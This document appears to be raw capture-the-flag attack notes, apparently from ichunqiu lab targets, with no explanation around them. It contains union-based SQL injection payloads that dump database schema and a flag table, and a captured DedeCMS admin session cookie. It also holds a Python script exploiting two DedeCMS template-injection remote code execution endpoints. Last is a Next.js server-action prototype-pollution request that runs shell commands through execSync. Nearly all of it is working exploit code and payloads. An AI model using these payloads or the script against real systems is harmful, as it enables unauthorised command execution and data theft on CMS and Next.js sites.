1
-1'union select 1,2,group_concat(schema_name) FROM information_schema.schemata#NexaData 了解更多关于NexaData（如：使命与愿景、技术优势） 让数据创造真实价值 我们通过智能分析平台，将复杂数据转化为可执行的商业洞察，赋能企业高效决策。  搜索结果 正在搜索文章...  关于 NexaData NexaData 成立于 2018 年，总部位于上海，是一家专注于大数据智能分析与AI 决策引擎的国家级高新技术企业。  我们已为金融、零售、制造、医疗等行业的 500+ 客户提供服务，帮助客户平均提升 35% 的运营效率 和 22% 的营收增长。  公司拥有自主研发的实时计算平台、智能预警系统和可视化 BI 工具，支持 PB 级数据处理能力，日均处理数据超 100 亿条。  500+ 企业客户 100B+ 日处理数据 99.9% 系统可用性 我们的核心优势 AI 智能分析 集成机器学习模型，自动识别数据模式与异常，提供预测性洞察。  云原生架构 弹性扩展、高可用设计，无缝对接公有云与私有化部署环境。  企业级安全 端到端加密、细粒度权限控制，符合 GDPR 与等保三级要求。  实时可视化 拖拽式仪表盘，秒级响应，让业务人员也能轻松探索数据。  © 2025 NexaData Technologies. 保留所有权利。

1
-1'union select 1,2,group_concat(table_name) FROM information_schema.tables WHERE table_schema='nexadata'#NexaData 了解更多关于NexaData（如：使命与愿景、技术优势） 让数据创造真实价值 我们通过智能分析平台，将复杂数据转化为可执行的商业洞察，赋能企业高效决策。  搜索结果 正在搜索文章...  关于 NexaData NexaData 成立于 2018 年，总部位于上海，是一家专注于大数据智能分析与AI 决策引擎的国家级高新技术企业。  我们已为金融、零售、制造、医疗等行业的 500+ 客户提供服务，帮助客户平均提升 35% 的运营效率 和 22% 的营收增长。  公司拥有自主研发的实时计算平台、智能预警系统和可视化 BI 工具，支持 PB 级数据处理能力，日均处理数据超 100 亿条。  500+ 企业客户 100B+ 日处理数据 99.9% 系统可用性 我们的核心优势 AI 智能分析 集成机器学习模型，自动识别数据模式与异常，提供预测性洞察。  云原生架构 弹性扩展、高可用设计，无缝对接公有云与私有化部署环境。  企业级安全 端到端加密、细粒度权限控制，符合 GDPR 与等保三级要求。  实时可视化 拖拽式仪表盘，秒级响应，让业务人员也能轻松探索数据。  © 2025 NexaData Technologies. 保留所有权利。

1
-1'union select 1,2,group_concat(column_name) FROM information_schema.columns WHERE table_name='where_is_my_flagggggg'#NexaData 了解更多关于NexaData（如：使命与愿景、技术优势） 让数据创造真实价值 我们通过智能分析平台，将复杂数据转化为可执行的商业洞察，赋能企业高效决策。  搜索结果 正在搜索文章...  关于 NexaData NexaData 成立于 2018 年，总部位于上海，是一家专注于大数据智能分析与AI 决策引擎的国家级高新技术企业。  我们已为金融、零售、制造、医疗等行业的 500+ 客户提供服务，帮助客户平均提升 35% 的运营效率 和 22% 的营收增长。  公司拥有自主研发的实时计算平台、智能预警系统和可视化 BI 工具，支持 PB 级数据处理能力，日均处理数据超 100 亿条。  500+ 企业客户 100B+ 日处理数据 99.9% 系统可用性 我们的核心优势 AI 智能分析 集成机器学习模型，自动识别数据模式与异常，提供预测性洞察。  云原生架构 弹性扩展、高可用设计，无缝对接公有云与私有化部署环境。  企业级安全 端到端加密、细粒度权限控制，符合 GDPR 与等保三级要求。  实时可视化 拖拽式仪表盘，秒级响应，让业务人员也能轻松探索数据。  © 2025 NexaData Technologies. 保留所有权利。

1
-1'union select 1,2,Th15_ls_f149 FROM where_is_my_flagggggg#NexaData 了解更多关于NexaData（如：使命与愿景、技术优势） 让数据创造真实价值 我们通过智能分析平台，将复杂数据转化为可执行的商业洞察，赋能企业高效决策。  搜索结果 正在搜索文章...  关于 NexaData NexaData 成立于 2018 年，总部位于上海，是一家专注于大数据智能分析与AI 决策引擎的国家级高新技术企业。  我们已为金融、零售、制造、医疗等行业的 500+ 客户提供服务，帮助客户平均提升 35% 的运营效率 和 22% 的营收增长。  公司拥有自主研发的实时计算平台、智能预警系统和可视化 BI 工具，支持 PB 级数据处理能力，日均处理数据超 100 亿条。  500+ 企业客户 100B+ 日处理数据 99.9% 系统可用性 我们的核心优势 AI 智能分析 集成机器学习模型，自动识别数据模式与异常，提供预测性洞察。  云原生架构 弹性扩展、高可用设计，无缝对接公有云与私有化部署环境。  企业级安全 端到端加密、细粒度权限控制，符合 GDPR 与等保三级要求。  实时可视化 拖拽式仪表盘，秒级响应，让业务人员也能轻松探索数据。  © 2025 NexaData Technologies. 保留所有权利。

1
menuitems=1_1%2C2_1%2C5_1%2C3_1%2C4_1; Hm_lvt_2d0601bd28de7d49818249cf35d95943=1761319965,1762777611; PHPSESSID=icu0bissit90tauagquq33dsj3; _csrf_name_d17f0175=4f066b84c44a94186c1fe3ac207075e9; _csrf_name_d17f01751BH21ANI1AGD297L1FF21LN02BGE1DNG=8ddd6464b18bad36; ENV_GOBACK_URL=%2Fdede%2Fmember_main.php; DedeUserID=3; DedeUserID1BH21ANI1AGD297L1FF21LN02BGE1DNG=f7f5c8a8208cfa2a; DedeLoginTime=1766899915; DedeLoginTime1BH21ANI1AGD297L1FF21LN02BGE1DNG=00c4e4615fdc378d

1
#!/usr/bin/env python3
2
# -*- coding: utf-8 -*-
3
"""
4
DedeCMS RCE 检测工具
5
支持：
6
  - POST 型漏洞：tag_test_action.php
7
  - GET 型漏洞：co_get_corule.php
8
"""
9

10
import sys
11
import argparse
12
import requests
13
import re
14
import urllib3
15
from urllib.parse import urljoin, urlparse, quote
16

17
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
18

19
# 全局配置
20
DEFAULT_USER_AGENT = (
21
    "Mozilla/5.0 (Windows NT 10.0; Win64; x64) "
22
    "AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36"
23
)
24

25

26
class DedeCMS_RCE_Post:
27
    def __init__(self, target, cookie_str, timeout=10, verify_ssl=False):
28
        self.target = target.rstrip("/") + "/"
29
        self.cookie_str = cookie_str
30
        self.timeout = timeout
31
        self.verify_ssl = verify_ssl
32
        self.session = requests.Session()
33
        self.session.verify = verify_ssl
34
        self.session.headers.update({
35
            'User-Agent': DEFAULT_USER_AGENT,
36
            'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',
37
            'Accept-Language': 'zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3',
38
            'Accept-Encoding': 'gzip, deflate',
39
            'Connection': 'close',
40
            'Upgrade-Insecure-Requests': '1'
41
        })
42
        self._parse_cookies()
43
        self.token_url = urljoin(self.target, "dede/tag_test.php")
44
        self.action_url = urljoin(self.target, "dede/tag_test_action.php")
45
        self.token = None
46

47
    def _parse_cookies(self):
48
        cookies = {}
49
        for item in self.cookie_str.split(";"):
50
            item = item.strip()
51
            if "=" in item:
52
                key, value = item.split("=", 1)
53
                cookies[key] = value
54
        self.session.cookies.update(cookies)
55

56
    def _fetch_token(self):
57
        """从页面提取 token"""
58
        try:
59
            res = self.session.get(self.token_url, timeout=self.timeout)
60
            if res.status_code != 200:
61
                print(f"[-] 无法访问 {self.token_url}，状态码: {res.status_code}")
62
                return False
63

64
            match = re.search(r'name\s*=\s*["\']token["\']\s+[^>]*value\s*=\s*["\']([^"\']+)["\']', res.text, re.IGNORECASE)
65
            if match:
66
                self.token = match.group(1)
67
                return True
68
            else:
69
                print(f"[-] 页面中未找到 token")
70
                return False
71
        except Exception as e:
72
            print(f"[-] 获取 token 失败: {e}")
73
            return False
74

75
    def exploit(self, cmd="echo hello > C:\\\\Windows\\\\Temp\\\\poc.txt"):
76
        """执行命令"""
77
        if not self._fetch_token():
78
            return False
79

80
        template = f"{{dede:global name='cfg_webname' function='system(\"{cmd}\")'/}}"
81
        raw_partcode_value = f"dopost=make&partcode={template}"
82
        encoded_partcode_value = quote(raw_partcode_value, safe='')
83

84
        post_body = (
85
            f"dopost=make&"
86
            f"token={self.token}&"
87
            f"partcode={encoded_partcode_value}&"
88
            f"typeid=0&"
89
            f"Submit=提交测试"
90
        )
91

92
        self.session.headers['Content-Type'] = 'application/x-www-form-urlencoded'
93

94
        try:
95
            print(f"[*] 正在利用 POST 接口: {self.action_url}")
96
            print(f"[*] 执行命令: {cmd}")
97

98
            res = self.session.post(
99
                self.action_url,
100
                data=post_body.encode('utf-8'),
101
                timeout=self.timeout
102
            )
103

104
            if res.status_code == 200:
105
                print(f"[+] POST 请求成功，响应长度: {len(res.content)}")
106
                if any(keyword in res.text.lower() for keyword in ['hello', 'echo', cmd.split()[0]]):
107
                    print("[+] 响应中包含关键字，可能已执行命令")
108
                    return True
109
            else:
110
                print(f"[-] 请求失败，状态码: {res.status_code}")
111
        except Exception as e:
112
            print(f"[-] POST 请求异常: {e}")
113
        return False
114

115

116
class DedeCMS_RCE_Get:
117
    """
118
    检测 GET 型 RCE 漏洞：co_get_corule.php?notes={dede:...}&job=1
119
    """
120

121
    def __init__(self, target, cookie_str, timeout=10, verify_ssl=False):
122
        self.target = target.rstrip("/") + "/"
123
        self.cookie_str = cookie_str
124
        self.timeout = timeout
125
        self.verify_ssl = verify_ssl
126
        self.session = requests.Session()
127
        self.session.verify = verify_ssl
128
        self.session.headers.update({
129
            'User-Agent': DEFAULT_USER_AGENT,
130
            'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',
131
            'Accept-Language': 'zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3',
132
            'Accept-Encoding': 'gzip, deflate',
133
            'Connection': 'close'
134
        })
135
        self._parse_cookies()
136
        self.exploit_url = urljoin(self.target, "dede/co_get_corule.php")
137

138
    def _parse_cookies(self):
139
        cookies = {}
140
        for item in self.cookie_str.split(";"):
141
            item = item.strip()
142
            if "=" in item:
143
                key, value = item.split("=", 1)
144
                cookies[key] = value
145
        self.session.cookies.update(cookies)
146

147
    def exploit(self, cmd="calc"):
148
        """执行命令"""
149
        payload = f"{{dede:ewoji\");system('{cmd}');///}}"
150

151
        params = {
152
            'notes': payload,
153
            'job': '1'
154
        }
155

156
        try:
157
            print(f"[*] 正在利用 GET 接口: {self.exploit_url}")
158
            print(f"[*] 执行命令: {cmd}")
159

160
            res = self.session.get(
161
                self.exploit_url,
162
                params=params,
163
                timeout=self.timeout
164
            )
165

166
            if res.status_code == 200:
167
                print(f"[+] GET 请求成功，响应长度: {len(res.content)}")
168
                if "Fatal error" in res.text and "GetInnerText()" in res.text:
169
                    print("[+]目标存在漏洞（出现 PHP Fatal error），命令可能已执行")
170
                    return True
171
                else:
172
                    print("[*] 响应内容不符合预期错误，但仍可能成功")
173
                    return True
174
            else:
175
                print(f"[-] 请求失败，状态码: {res.status_code}")
176
        except Exception as e:
177
            print(f"[-] GET 请求异常: {e}")
178
        return False
179

180

181
def validate_url(url):
182
    try:
183
        result = urlparse(url)
184
        return all([result.scheme in ['http', 'https'], result.netloc])
185
    except:
186
        return False
187

188

189
def main():
190
    parser = argparse.ArgumentParser(description="DedeCMS RCE 双接口检测工具")
191
    parser.add_argument("-u", "--url", required=True, help="目标URL，例如: http://example.com/")
192
    parser.add_argument("-c", "--cookie", required=True, help='登录后的 Cookie，例如: "DedeUserID=1; DedeLoginTime=xxx"')
193
    parser.add_argument("--type", choices=['post', 'get', 'all'], default='all',
194
                        help="选择检测类型: post | get | all (默认)")
195

196
    args = parser.parse_args()
197

198
    if not validate_url(args.url):
199
        print("[-] 错误: 无效的URL格式，请使用 http:// 或 https:// 开头")
200
        sys.exit(1)
201

202
    if not args.cookie.strip():
203
        print("[-] 错误: Cookie 不能为空")
204
        sys.exit(1)
205

206
    kwargs = {
207
        'target': args.url,
208
        'cookie_str': args.cookie.strip(),
209
        'verify_ssl': False,
210
        'timeout': 10
211
    }
212

213
    # 执行指定检测
214
    if args.type in ['post', 'all']:
215
        detector_post = DedeCMS_RCE_Post(**kwargs)
216
        success = detector_post.exploit(cmd="cat /f* > 3.txt")
217
        if success:
218
            print("[+] tag_test_action.php接口漏洞利用成功\n")
219
        else:
220
            print("[-] tag_test_action.php接口漏洞利用失败\n")
221

222
    if args.type in ['get', 'all']:
223
        detector_get = DedeCMS_RCE_Get(**kwargs)
224
        success = detector_get.exploit(cmd="cat /flag")
225
        if success:
226
            print("[+] co_get_corule.php漏洞利用成功\n")
227
        else:
228
            print("[-] co_get_corule.php漏洞利用失败\n")
229

230
    print("[*] 检测完成")
231

232

233
if __name__ == "__main__":
234
    main()

1
POST / HTTP/2
2
Host: eci-2ze5cyeam6tt9r9hl9ar.cloudeci1.ichunqiu.com:3000
3
Next-Action: x
4
Content-Type: multipart/form-data; boundary=----Boundary
5
Content-Length: 610
6

7
------Boundary
8
Content-Disposition: form-data; name="0"
9

10
{"then":"$1:__proto__:then","status":"resolved_model","reason":-1,"value":"{\"then\":\"$B1337\"}","_response":{"_prefix":"var res=encodeURIComponent(process.mainModule.require('child_process').execSync('cat /f*').toString().trim());;throw Object.assign(new Error('NEXT_REDIRECT'),{digest: `NEXT_REDIRECT;push;/login?a=${res};307;`});","_chunks":"$Q2","_formData":{"get":"$1:constructor:constructor"}}}
11
------Boundary
12
Content-Disposition: form-data; name="1"
13

14
"$@0"
15
------Boundary
16
Content-Disposition: form-data; name="2"
17

18
[]
19
------Boundary--